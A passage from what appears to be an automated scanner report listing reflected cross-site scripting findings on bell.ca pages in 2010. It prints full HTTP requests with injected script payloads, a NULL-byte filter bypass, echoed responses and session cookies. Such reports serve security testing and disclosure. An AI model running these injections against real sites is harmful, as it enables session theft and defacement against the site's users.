idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253DShop%2525253AMobile%2525253ARate%25252520plans%2525253ARtplanding%252526pidt%25253D1%252526oid%25253Dhttp%2525253A%2525252F%2525252Fwww.bell.ca%2525252Fshopping%2525252FPrsShpWls_Solution_Builder.page%2525253FcreateSolution%2525253Dtrue%25252526uid%2525253D505079%252526ot%25253DA%3B

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
X-Powered-By: Servlet/2.5 JSP/2.1
Date: Tue, 23 Nov 2010 01:54:49 GMT
Content-Length: 79031


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: QC_DC3CAV_4 -->
       
       <!-- ABValue: true -->

...[SNIP]...
oneSubSku = "";
       var preSelectCellPhoneVariantSku = "";        
       var preSelectContractTermSku = "";
       
       var preSelectRatePlanSku = "";
       var preSelectRatePlanCategorySku = "";
       var preuid = "5050795454f";alert(1)//92c5914b221";
       
       
           var preSelectAdditionalAccessoriesSku = [];
       
       
                   var preSelectAdditionalFeaturesSku = [];
       
       
                   var preSelectAdditionalBundlesSku = [];
       
       
                   var preSelect
...[SNIP]...

2.20. http://www.bell.ca/shopping/PrsShp_Search.page [faq parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /shopping/PrsShp_Search.page

Issue detail

The value of the faq request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3d3cb"><script>alert(1)</script>14d6ef2123c was submitted in the faq parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /shopping/PrsShp_Search.page?language=en HTTP/1.1
Host: www.bell.ca
Proxy-Connection: keep-alive
Referer: http://internet.bell.ca/favicon.ico9fc66%22%3E%3Cscript%3Ealert(1)%3C/script%3Eeb765000cc9
Cache-Control: max-age=0
Origin: http://internet.bell.ca
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WirelessSolutionBuilderComponentKey=WLS-DLT-24QX2BGRY-B3105; __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; gemini=region=ON|province=ON|myurl=CSQ|language=en; __g_c=w%3A1%7Cb%3A3%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479171674%3B%20s_lv%3D1290477371678%7C1385085371678%3B%20s_lv_s%3DFirst%2520Visit%7C1290479171678%3B%20s_pv%3DShop%253AMobile%253ASolution%2520builder%7C1290479171698%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.s={"v":1,"rid":"1290476637978_715804","pv":10,"to":5,"c":"http://www.bell.ca/shopping/PrsShpWls_Solution_Builder.page","f":1290477369118,"lc":{"d0":{"v":7,"s":true}},"cd":0,"sd":0,"pn":0}; s_sess=%20s_pvt%3D%3B%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253Dnb%2525253Ac%2525253Acust_care%2525253Ainternet%2525253Aco%2525253Amethod%2525253Dhome.pagenotfound%25252528en-on%25252529%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.bell.ca/support/PrsCSrvWls_Landing.page%2525253FlanguageToggle%2525253Dtrue%25252526language%2525253Den%25252526regionToggle%2525253Dtrue%252526ot%25253DA%3B; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290479177498%3B
Content-Length: 124

language=en&province=ON&support=false&faq=false3d3cb"><script>alert(1)</script>14d6ef2123c&lob=consumerBoost&ui_mode=question&charset=UTF-8&question_box=Search+Bell.ca

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
X-Powered-By: Servlet/2.5 JSP/2.1
Date: Tue, 23 Nov 2010 01:57:59 GMT
Content-Length: 30168


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: QC_DC3CAV_4 -->
       
       <!-- ABValue: true -->

...[SNIP]...
<input value="false3d3cb"><script>alert(1)</script>14d6ef2123c" name="faq" type="hidden">
...[SNIP]...

2.21. http://www.bell.ca/shopping/PrsShp_Search.page [lob parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /shopping/PrsShp_Search.page

Issue detail

The value of the lob request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 14a5e"><script>alert(1)</script>8f2481788e5 was submitted in the lob parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /shopping/PrsShp_Search.page?language=en HTTP/1.1
Host: www.bell.ca
Proxy-Connection: keep-alive
Referer: http://internet.bell.ca/favicon.ico9fc66%22%3E%3Cscript%3Ealert(1)%3C/script%3Eeb765000cc9
Cache-Control: max-age=0
Origin: http://internet.bell.ca
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WirelessSolutionBuilderComponentKey=WLS-DLT-24QX2BGRY-B3105; __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; gemini=region=ON|province=ON|myurl=CSQ|language=en; __g_c=w%3A1%7Cb%3A3%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479171674%3B%20s_lv%3D1290477371678%7C1385085371678%3B%20s_lv_s%3DFirst%2520Visit%7C1290479171678%3B%20s_pv%3DShop%253AMobile%253ASolution%2520builder%7C1290479171698%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.s={"v":1,"rid":"1290476637978_715804","pv":10,"to":5,"c":"http://www.bell.ca/shopping/PrsShpWls_Solution_Builder.page","f":1290477369118,"lc":{"d0":{"v":7,"s":true}},"cd":0,"sd":0,"pn":0}; s_sess=%20s_pvt%3D%3B%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253Dnb%2525253Ac%2525253Acust_care%2525253Ainternet%2525253Aco%2525253Amethod%2525253Dhome.pagenotfound%25252528en-on%25252529%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.bell.ca/support/PrsCSrvWls_Landing.page%2525253FlanguageToggle%2525253Dtrue%25252526language%2525253Den%25252526regionToggle%2525253Dtrue%252526ot%25253DA%3B; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290479177498%3B
Content-Length: 124

language=en&province=ON&support=false&faq=false&lob=consumerBoost14a5e"><script>alert(1)</script>8f2481788e5&ui_mode=question&charset=UTF-8&question_box=Search+Bell.ca

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
X-Powered-By: Servlet/2.5 JSP/2.1
Date: Tue, 23 Nov 2010 01:58:01 GMT
Content-Length: 30168


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: QC_DC3CAV_4 -->
       
       <!-- ABValue: true -->

...[SNIP]...
<input value="consumerBoost14a5e"><script>alert(1)</script>8f2481788e5" name="lob" type="hidden">
...[SNIP]...

2.22. http://www.bell.ca/shopping/PrsShp_Search.page [question_box parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /shopping/PrsShp_Search.page

Issue detail

The value of the question_box request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3f769"><script>alert(1)</script>0a57a5b6c98 was submitted in the question_box parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /shopping/PrsShp_Search.page?language=en HTTP/1.1
Host: www.bell.ca
Proxy-Connection: keep-alive
Referer: http://internet.bell.ca/favicon.ico9fc66%22%3E%3Cscript%3Ealert(1)%3C/script%3Eeb765000cc9
Cache-Control: max-age=0
Origin: http://internet.bell.ca
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WirelessSolutionBuilderComponentKey=WLS-DLT-24QX2BGRY-B3105; __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; gemini=region=ON|province=ON|myurl=CSQ|language=en; __g_c=w%3A1%7Cb%3A3%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479171674%3B%20s_lv%3D1290477371678%7C1385085371678%3B%20s_lv_s%3DFirst%2520Visit%7C1290479171678%3B%20s_pv%3DShop%253AMobile%253ASolution%2520builder%7C1290479171698%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.s={"v":1,"rid":"1290476637978_715804","pv":10,"to":5,"c":"http://www.bell.ca/shopping/PrsShpWls_Solution_Builder.page","f":1290477369118,"lc":{"d0":{"v":7,"s":true}},"cd":0,"sd":0,"pn":0}; s_sess=%20s_pvt%3D%3B%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253Dnb%2525253Ac%2525253Acust_care%2525253Ainternet%2525253Aco%2525253Amethod%2525253Dhome.pagenotfound%25252528en-on%25252529%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.bell.ca/support/PrsCSrvWls_Landing.page%2525253FlanguageToggle%2525253Dtrue%25252526language%2525253Den%25252526regionToggle%2525253Dtrue%252526ot%25253DA%3B; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290479177498%3B
Content-Length: 124

language=en&province=ON&support=false&faq=false&lob=consumerBoost&ui_mode=question&charset=UTF-8&question_box=Search+Bell.ca3f769"><script>alert(1)</script>0a57a5b6c98

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
X-Powered-By: Servlet/2.5 JSP/2.1
Date: Tue, 23 Nov 2010 01:58:08 GMT
Content-Length: 39886


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: QC_DC3CAV_4 -->
       
       <!-- ABValue: true -->

...[SNIP]...
<a class= "nextPage" href="/shopping/PrsShp_Search.page?question_box=Search Bell.ca3f769"><script>alert(1)</script>0a57a5b6c98&faq=false&support=false&ui_mode=question&lob=consumerBoost&isSearchRefined=false&language=en&province=ON&direction=FORWARD&page_number=0&transId=5" >
...[SNIP]...

2.23. http://www.bell.ca/shopping/PrsShp_Search.page [question_box parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /shopping/PrsShp_Search.page

Issue detail

The value of the question_box request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6ad3a"%3balert(1)//78f72d529c16cda34 was submitted in the question_box parameter. This input was echoed as 6ad3a";alert(1)//78f72d529c16cda34 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /shopping/PrsShp_Search.page?language=en&language=en&province=ON&support=false&faq=false&lob=consumerBoost&ui_mode=question&charset=UTF-8&question_box=Search+Bell.ca6ad3a"%3balert(1)//78f72d529c16cda34 HTTP/1.1
Host: www.bell.ca
Proxy-Connection: keep-alive
Referer: http://internet.bell.ca/favicon.ico9fc66%22%3E%3Cscript%3Ealert(1)%3C/script%3Eeb765000cc9
Cache-Control: max-age=0
Origin: http://internet.bell.ca
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WirelessSolutionBuilderComponentKey=WLS-DLT-24QX2BGRY-B3105; __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; gemini=region=ON|province=ON|myurl=CSQ|language=en; __g_c=w%3A1%7Cb%3A3%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479171674%3B%20s_lv%3D1290477371678%7C1385085371678%3B%20s_lv_s%3DFirst%2520Visit%7C1290479171678%3B%20s_pv%3DShop%253AMobile%253ASolution%2520builder%7C1290479171698%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.s={"v":1,"rid":"1290476637978_715804","pv":10,"to":5,"c":"http://www.bell.ca/shopping/PrsShpWls_Solution_Builder.page","f":1290477369118,"lc":{"d0":{"v":7,"s":true}},"cd":0,"sd":0,"pn":0}; s_sess=%20s_pvt%3D%3B%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253Dnb%2525253Ac%2525253Acust_care%2525253Ainternet%2525253Aco%2525253Amethod%2525253Dhome.pagenotfound%25252528en-on%25252529%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.bell.ca/support/PrsCSrvWls_Landing.page%2525253FlanguageToggle%2525253Dtrue%25252526language%2525253Den%25252526regionToggle%2525253Dtrue%252526ot%25253DA%3B; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290479177498%3B

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
X-Powered-By: Servlet/2.5 JSP/2.1
Date: Tue, 23 Nov 2010 01:58:35 GMT
Content-Length: 43240


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: QC_DC3CAV_4 -->
       
       <!-- ABValue: true -->

...[SNIP]...
cript">


var lpCustomername = "";


var lpErrorflag            = 0            ;
var lpUserid            = ""            ;
var lpAccountid            = ""            ;
var lpOnebillflag        = "0"        ;
var    lpGlobalSearchvalue    = "Search Bell.ca6ad3a";alert(1)//78f72d529c16cda34"    ;
var lpCarttotal            = 0.0    ;
var lpOrdertotal        = 0.0    ;
var lpPromoPageID        = ""        ;

   // Pass variable value through lpAddVars()
if (typeof(lpAddVars) != "undefined") {

   lpAddVars('page','Custo
...[SNIP]...

2.24. http://www.bell.ca/shopping/PrsShp_Search.page [question_box parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /shopping/PrsShp_Search.page

Issue detail

The value of the question_box request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d865d"%3balert(1)//59c45392948fd2def was submitted in the question_box parameter. This input was echoed as d865d";alert(1)//59c45392948fd2def in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shopping/PrsShp_Search.page?language=en&language=en&province=ON&support=false&faq=false&lob=consumerBoost&ui_mode=question&charset=UTF-8&question_box=Search+Bell.cad865d"%3balert(1)//59c45392948fd2def HTTP/1.1
Host: www.bell.ca
Proxy-Connection: keep-alive
Referer: http://internet.bell.ca/favicon.ico9fc66%22%3E%3Cscript%3Ealert(1)%3C/script%3Eeb765000cc9
Cache-Control: max-age=0
Origin: http://internet.bell.ca
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WirelessSolutionBuilderComponentKey=WLS-DLT-24QX2BGRY-B3105; __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; gemini=region=ON|province=ON|myurl=CSQ|language=en; __g_c=w%3A1%7Cb%3A3%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479171674%3B%20s_lv%3D1290477371678%7C1385085371678%3B%20s_lv_s%3DFirst%2520Visit%7C1290479171678%3B%20s_pv%3DShop%253AMobile%253ASolution%2520builder%7C1290479171698%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.s={"v":1,"rid":"1290476637978_715804","pv":10,"to":5,"c":"http://www.bell.ca/shopping/PrsShpWls_Solution_Builder.page","f":1290477369118,"lc":{"d0":{"v":7,"s":true}},"cd":0,"sd":0,"pn":0}; s_sess=%20s_pvt%3D%3B%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253Dnb%2525253Ac%2525253Acust_care%2525253Ainternet%2525253Aco%2525253Amethod%2525253Dhome.pagenotfound%25252528en-on%25252529%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.bell.ca/support/PrsCSrvWls_Landing.page%2525253FlanguageToggle%2525253Dtrue%25252526language%2525253Den%25252526regionToggle%2525253Dtrue%252526ot%25253DA%3B; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290479177498%3B

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CGF
X-Powered-By: Servlet/2.5 JSP/2.1
Date: Tue, 23 Nov 2010 02:03:26 GMT
Content-Length: 41912


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: QC_DC3CAV_4 -->
       
       <!-- ABValue: true -->

...[SNIP]...
cript">


var lpCustomername = "";


var lpErrorflag            = 0            ;
var lpUserid            = ""            ;
var lpAccountid            = ""            ;
var lpOnebillflag        = "0"        ;
var    lpGlobalSearchvalue    = "Search Bell.cad865d";alert(1)//59c45392948fd2def"    ;
var lpCarttotal            = 0.0    ;
var lpOrdertotal        = 0.0    ;
var lpPromoPageID        = ""        ;

   // Pass variable value through lpAddVars()
if (typeof(lpAddVars) != "undefined") {

   lpAddVars('page','Custo
...[SNIP]...

2.25. http://www.bell.ca/shopping/PrsShp_Search.page [support parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /shopping/PrsShp_Search.page

Issue detail

The value of the support request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 850ce"><script>alert(1)</script>da004210564 was submitted in the support parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /shopping/PrsShp_Search.page?language=en HTTP/1.1
Host: www.bell.ca
Proxy-Connection: keep-alive
Referer: http://internet.bell.ca/favicon.ico9fc66%22%3E%3Cscript%3Ealert(1)%3C/script%3Eeb765000cc9
Cache-Control: max-age=0
Origin: http://internet.bell.ca
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WirelessSolutionBuilderComponentKey=WLS-DLT-24QX2BGRY-B3105; __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; gemini=region=ON|province=ON|myurl=CSQ|language=en; __g_c=w%3A1%7Cb%3A3%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479171674%3B%20s_lv%3D1290477371678%7C1385085371678%3B%20s_lv_s%3DFirst%2520Visit%7C1290479171678%3B%20s_pv%3DShop%253AMobile%253ASolution%2520builder%7C1290479171698%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.s={"v":1,"rid":"1290476637978_715804","pv":10,"to":5,"c":"http://www.bell.ca/shopping/PrsShpWls_Solution_Builder.page","f":1290477369118,"lc":{"d0":{"v":7,"s":true}},"cd":0,"sd":0,"pn":0}; s_sess=%20s_pvt%3D%3B%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253Dnb%2525253Ac%2525253Acust_care%2525253Ainternet%2525253Aco%2525253Amethod%2525253Dhome.pagenotfound%25252528en-on%25252529%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.bell.ca/support/PrsCSrvWls_Landing.page%2525253FlanguageToggle%2525253Dtrue%25252526language%2525253Den%25252526regionToggle%2525253Dtrue%252526ot%25253DA%3B; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290479177498%3B
Content-Length: 124

language=en&province=ON&support=false850ce"><script>alert(1)</script>da004210564&faq=false&lob=consumerBoost&ui_mode=question&charset=UTF-8&question_box=Search+Bell.ca

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
X-Powered-By: Servlet/2.5 JSP/2.1
Date: Tue, 23 Nov 2010 01:57:57 GMT
Content-Length: 30159


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: QC_DC3CAV_4 -->
       
       <!-- ABValue: true -->

...[SNIP]...
<input value="false850ce"><script>alert(1)</script>da004210564" name="support" type="hidden">
...[SNIP]...

2.26. http://www.bell.ca/shopping/dwr/call/plaincall/StoreLocatorDwr.searchFromCenterWithLimit.dwr [batchId parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /shopping/dwr/call/plaincall/StoreLocatorDwr.searchFromCenterWithLimit.dwr

Issue detail

The value of the batchId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fb9a7'-alert(1)-'ea63f6bff69 was submitted in the batchId parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

POST /shopping/dwr/call/plaincall/StoreLocatorDwr.searchFromCenterWithLimit.dwr HTTP/1.1
Host: www.bell.ca
Proxy-Connection: keep-alive
Referer: http://www.bell.ca/shopping/popups/personal/storeLocator/slmap.jsp
Origin: http://www.bell.ca
Content-Type: text/plain
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
